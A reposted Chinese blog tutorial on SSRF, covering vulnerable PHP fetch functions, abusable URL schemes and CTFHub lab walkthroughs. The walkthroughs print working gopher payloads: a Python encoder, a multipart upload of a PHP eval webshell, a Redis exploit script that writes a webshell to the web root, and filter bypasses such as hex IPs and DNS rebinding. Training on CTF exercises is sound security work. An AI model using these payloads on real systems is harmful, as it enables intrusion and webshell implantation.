iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >漏洞原理——ssrf
  • 480
分享到

漏洞原理——ssrf

安全 2023-09-09 07:09:59 480人浏览 独家记忆
摘要

一、什么是SSRF 1、简单了解 SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的

一、什么是SSRF

1、简单了解在这里插入图片描述

SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。

攻击者利用了可访问WEB服务器(A)的特定功能 构造恶意payload;攻击者在访问A时,利用A的特定功能构造特殊payload,由A发起对内部网络中系统B(内网隔离,外部不可访问)的请求,从而获取敏感信息。此时A被作为中间人(跳板)进行利用。

SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制。 例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF利用存在缺陷的WEB应用作为代理 攻击远程 和 本地的服务器。

2、漏洞成因

服务端提供了从其他服务器应用获取数据的功能

没有对目标地址做过滤与限制

比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载文件等等

漏洞产生与危害

PHP中的curl(),file_get_contents(),fsockopen()等函数是几个主要产生ssrf漏洞的函数

file_get_contents()

//file_get_contents是把文件写入字符串,当把url是内网文件的时候,会先去把这个文件的内容读出来再写入,导致了文件读取phpif(isset($_POST['url'])){    $content=file_get_contents($_POST['url']);    $filename='./images/'.rand().'.img';\    file_put_contents($filename,$content);    echo $_POST['url'];    $img="";}echo $img;?>

fsockopen()

//fsockopen()函数本身就是打开一个网络连接或者Unix套接字连接\n";} else {    $out = "GET / HTTP/1.1\r\n";    $out .= "Host: $host\r\n";    $out .= "Connection: Close\r\n\r\n";    fwrite($fp, $out);    while (!feof($fp)) {        echo fgets($fp, 128);    }    fclose($fp);}?>

curl()

//利用方式很多最常见的是通过file、dict、Gopher这三个协议来进行渗透,接下来也主要是集中讲对于curl()函数的利用方式function curl($url){      $ch = curl_init(); //  初始化curl连接句柄    curl_setopt($ch, CURLOPT_URL, $url); //设置连接URL    curl_setopt($ch, CURLOPT_HEADER, 0);  // 不输出头文件的信息    curl_exec($ch);   // 执行获取结果    curl_close($ch);  // 关闭curl连接句柄}$url = $_GET['url'];curl($url); 

SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件

内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害。

3、漏洞攻击方式

  1. 对外网,服务器所在内网,本地进行端口扫描(挨个试探),获取一些服务的banner信息
  2. 攻击运行在内网或本地的应用程序
  3. 对内网Web应用进行指纹识别,识别企业内部的资产信息,通过访问默认文件实现(如:readme文件)
  4. 攻击内外网的Web应用,主要是使用Http GET请求就可以实现的攻击(比如strust2,sqli等)
  5. 下载内网资源,利用file协议读取本地文件或资源等
  6. 内部任意主机的任意端口发送精心构造的Payload
  7. DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
  8. 进行跳板
  9. 利用Redis未授权访问,HTTP CRLF注入实现getshell

二、可以利用的协议

常用URL伪协议

file:///  -- 本地文件传输协议,主要用于访问本地计算机中的文件dict://   -- 字典服务器协议,dict是基于查询相应的tcp协议,服务器监听端口2628sftp://   -- ssh文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol)ldap://   -- 轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议tftp://   -- 基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机gopher:// -- 互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前

三、CTFHUB例题

1、内网访问

在这里插入图片描述

要访问内网中的文件,外网无法访问,对应漏洞利用中的5,读取内网中的文件和资源;

在这里插入图片描述

拿到flag;

2、伪协议读取文件

在这里插入图片描述

linux的网站目录一般位于/var/www/html/下,尝试利用file协议读取web目录下的源码

在这里插入图片描述

成功读取到源码,拿到flag;

3、端口扫描

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-smgUjUxP-1649055753719)(C:\Users\32219\Desktop\web安全笔记\ssrf.assets\image-20220404101855938.png)]

摆明了告诉我们要进行内网的端口扫描,看看内网中开放了哪些端口,(耗时较长,一会再回来更);

4、POST请求

在这里插入图片描述

接下来的四个题都是利用gopher协议来做的,gopher协议可以参考上面的可以利用的协议;

利用file伪协议读取到index.php

flag.php

我们尝试构造payload让本机去访问:

在这里插入图片描述

拿到key和一个输入的文本框,但是并没有提交的按钮,可能是想让我们自己利用Gopher协议去发送请求;请求头的构造请自行参考HTTP协议,编码:

import urllib.parsepayload =\"""POST /flag.php HTTP/1.1Host: 127.0.0.1Content-Type: application/x-www-fORM-urlencodedContent-Length: 36key=4f78dd1466e179d295405ff86bec1d61"""#注意后面一定要有回车,回车结尾表示http请求结束tmp = urllib.parse.quote(payload)new = tmp.replace('%0A','%0D%0A')result = 'gopher://127.0.0.1:80/'+'_'+newresult = urllib.parse.quote(result)print(result)       # 这里因为是GET请求所以要进行两次url编码

为什么要这样进行编码呢?我理解的是首先用GET将我们构造的请求包发送过去,要进行一次解码,然后是发送POST请求包,又要进行一次解码,所以要进行两次解码;

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D4f78dd1466e179d295405ff86bec1d61%250D%250A

在这里插入图片描述

顺利拿到flag,之前做可能是因为没有编码成功,渗透中python可真是个好东西!

在这里插入图片描述

ctfhub{b644d27a30b450b2f170c4f19ef1dd85fb1efc5d}

5、上传文件

也是首先读取index.php和flag.php

flag.php

 0){    echo getenv("CTFHUB");    exit;}?>Upload Webshell
?>

只要我们上传文件>0就可以拿到flag;

index.php

通过本机访问,但是他喵的竟然没有提交键,这让我怎么提交,哎,又是Gopher协议,但是请求头哪去了?,我们构造一个提交键,提交并且抓包,此时的并不会提交到flag.php,只是我们自己用来获取请求头用的;

在这里插入图片描述

在这里插入图片描述

成功获取到请求头,我们把HOST改为127.0.0.1然后再放到我们的Python代码中跑。

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520328%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AOrigin%253A%2520http%253A//challenge-03512614d3fa8330.sandbox.ctfhub.com%253A10080%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryraDVcM1y9juGCBJu%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/86.0.4240.198%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AReferer%253A%2520http%253A//challenge-03512614d3fa8330.sandbox.ctfhub.com%253A10080/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522shell.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%250D%250Aeval%2528%2524_POST%255Bwhoami%255D%2529%253B%250D%250A%253F%253E%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu--%250D%250A

在这里插入图片描述

拿下!!!!!!!

6、FastCGI协议

暂时还没搞太懂,以后再更把

7、redis协议

redis参考资料的链接:

https://www.freebuf.com/articles/web/323640.html

Redis是一个key-value存储系统。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的api。Redis 在默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。,也可以直接写入Webshell或者写入计划任务进行反弹shell。

在这里插入图片描述

给出我们redis运行的端口,利用未授权访问攻击Redis的方法有很多,我们可以写webshell、反弹shell,也可以写ssh公钥,这里我们用写webshell的方法。(参考大佬文章

构造redis命令

flushallset 1 ''config set dir /var/www/htmlconfig set dbfilename shell.phpsave

我们利用如下Exp脚本生成符合gopher协议格式的payload:

import urllibprotocol="gopher://"ip="127.0.0.1"port="6379"shell="\n\n\n\n"filename="shell.php"path="/var/www/html"passwd=""cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for x in cmd:payload += urllib.quote(redis_format(x))print urllib.quote(payload)    # 由于我们这里是GET,所以要进行两次url编码

生成如下文件:

gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

请求时靶场除了点小bug,

8、urlbypass

绕过方法,简单的几种,合在一块写了:

1、url

在这里插入图片描述

也就是说必须以http://notfound.ctfhub.com开头才可以:我们直接构造?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

成功得到flag。

2、数字ip

在这里插入图片描述

127,172,@都被过滤掉了,可以转化进制绕过

127.0.0.1转换为16进制是0x7F000001

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JICWj6YL-1649055753722)(C:\Users\32219\Desktop\web安全笔记\ssrf.assets\image-20220404142353027.png)]

3、302跳转bypass

读取源代码进行审计:

flag.php

index.php

禁掉了很多的网段,但是没有过滤掉localhost,进行绕过;

在这里插入图片描述

拿到flag;

4、DNS重绑定:涉及到DNS一些的知识:

可以参考文章:https://www.freebuf.com/articles/network/218576.html

下面这个网站可以将一个域名解析到两个IP上,并在这两个之间不同的跳动

在这里插入图片描述

一直刷新,当跳到127.0.0.1时就可以拿到flag;
在这里插入图片描述

来源地址:https://blog.csdn.net/nobugnomoney/article/details/123953973

--结束END--

本文标题: 漏洞原理——ssrf

本文链接: https://www.lsjlt.com/news/401076.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 漏洞原理——ssrf
    一、什么是SSRF 1、简单了解 SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的...
    99+
    2023-09-09
    安全
  • Ueditor SSRF漏洞审计
    Payload直奔利用点 /ueditor/php/controller.phpaction=catchimage&source[]=https://file.lsjlt.com/upload/f/2...
    99+
    2023-09-04
    php 服务器 开发语言
  • 如何修复ssrf漏洞
    修复ssrf漏洞的方法有以下几种采用白名单对内网ip进行限制,以防止对内网进行攻击;限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求;禁用一些不必要的协议,并对对返回的内容进行识别和过滤;统一错误信息,避免可以根据错误信...
    99+
    2024-04-02
  • java ssrf漏洞如何修复
    修复SSRF漏洞可以采取以下几种措施: 输入验证和过滤:对于用户输入的URL参数,需要进行输入验证和过滤,确保只接受合法的URL...
    99+
    2023-10-27
    java
  • 【网络安全】SSRF漏洞讲解
    SSRF漏洞讲解 一、初识SSRF漏洞 1.定义 2.产生原理 3.会导致的危害 4.常见产生SSRF的地方 5.常见缺失函数 二、SSR...
    99+
    2023-09-13
    安全 web安全 服务器
  • 安鸾靶场之SSRF漏洞实操
    SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。 攻击的目标是从外网无法访问的内部系统 ( 正是因为它是由服...
    99+
    2023-09-01
    php 安全 网络
  • 复现WordPress xmlrpc.php漏洞和SSRF的详细步骤
    目录一、漏洞介绍二、漏洞影响三、漏洞复现四、深入利用五、漏洞修复一、漏洞介绍 通过Pingback可以实现的服务器端请求伪造 (Server-side request forgery...
    99+
    2024-04-02
  • Web漏洞之SSRF(服务器端请求伪造)
    文章目录 一.漏洞场景二.漏洞描述三.漏洞原理四.漏洞危害五.漏洞评级六.漏洞验证七.漏洞利用八.漏洞防御 一.漏洞场景 服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户...
    99+
    2023-09-05
    前端 服务器 php web安全 系统安全
  • 从2022安洵杯[babyPHP]看Soap+CLRF造成SSRF漏洞
    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一、PHP SOAP 二、漏洞成因 三、 题目知识准备 1、PHP Session反序列化          2、题目相关函数 四、[LCTF 2018]b...
    99+
    2023-08-31
    php web安全
  • thinkphp5 漏洞原理分析合集
    thinkphp5 rce原理分析 文末附赠相关综合利用工具 文章中主要介绍以下4种漏洞的原理分析过程: 5.0.X 路由过滤不严谨rce 5.1.X 路由过滤不严谨rce __construct 变量覆盖导致RCE 5.0.X 数...
    99+
    2023-08-31
    web安全 网络安全 安全 php
  • log4j漏洞原理及攻击流程
    log4j漏洞最早出现在2021年11月24日一位阿里安全团队的员工发现的,上报到Apache之后,12月10日凌晨才被公开。该漏洞威胁等级较高。基本比肩与阿里当年的fastjson漏洞。 漏洞地址: 1.漏洞原理: Log4j是一种流行...
    99+
    2023-08-19
    log4j java web安全
  • 文件包含漏洞(原理及介绍)
    文件包含漏洞(原理及介绍) File inclusion,文件包含(漏洞)。程序开发人员通常出于灵活性的考虑,会将被包含的文件设置成变量,然后动态调用这些文件。但正是因为调用的灵活性导致用户可能调用一...
    99+
    2023-09-05
    php 安全 web安全
  • phpmyadmin漏洞属于什么漏洞
    phpmyadmin 易受多种漏洞影响,包括:1. sql 注入漏洞;2. 跨站点脚本 (xss) 漏洞;3. 远程代码执行 (rce) 漏洞;4. 本地文件包含 (lfi) 漏洞;5....
    99+
    2024-04-08
    mysql phpmyadmin
  • 【url跳转漏洞】--逻辑漏洞
    文章目录 预备知识1.对于URL跳转的实现一般会有几种实现方式:2.如果jumpto没有任何限制,那么恶意用户可以构造并提交3.漏洞通常发生在以下几个地方:4.常见的可能产生漏洞的参数名:漏洞...
    99+
    2023-09-02
    php 前端 javascript
  • XSS漏洞总结和漏洞复现
    XSS漏洞总结和漏洞复现 XSS漏洞概述:类型一:反射型类型二:存储型类型三:DOM型 复现20字符短域名绕过一、安装BEEFhttps://blog.csdn.net/weixin_45...
    99+
    2023-09-28
    xss php 前端
  • Web网络安全分析XSS漏洞原理详解
    目录XSS基础XSS漏洞介绍XSS漏洞原理反射型XSS存储型XSSDOM型XSSXSS基础 XSS漏洞介绍 跨站脚本(Cross-Site Scripting,简称为XSS或跨站脚本...
    99+
    2024-04-02
  • 详解PHP反序列化漏洞示例与原理
    目录预备知识PHP序列化与反序列化序列化字符串格式PHP魔术方法示例反序列化漏洞构造函数&析构函数CVE-2016-7124预备知识 PHP序列化与反序列化 序列化:将一个复...
    99+
    2024-04-02
  • 风险的漏洞管理
    漏洞管理与合规相辅相成。正如遵循特定监管标准有助于有效管理漏洞,有效管理漏洞也有助于规避可致违规的安全事件。但鉴于不同监管机构标准不同,既有效且合规的漏洞管理对不同组织机构而言可能意味着不同的东西。但有一个例外:风险!所有标准都强调了风险!...
    99+
    2023-06-05
  • ZipperDown漏洞怎么处理
    本篇内容介绍了“ZipperDown漏洞怎么处理”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!出发点与基本策略我们谈的主要是防守,谈防守就要...
    99+
    2023-06-19
  • web漏洞之文件上传漏洞
    文章目录 一、漏洞原因二、漏洞危害三、漏洞利用1.三个条件2.利用方式3.绕过方式a.绕过JS验证① BP绕过② F12绕过③ 菜刀上传实操 b.绕过MIME-Type验证c.绕过黑名...
    99+
    2023-08-31
    前端 web安全 网络
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作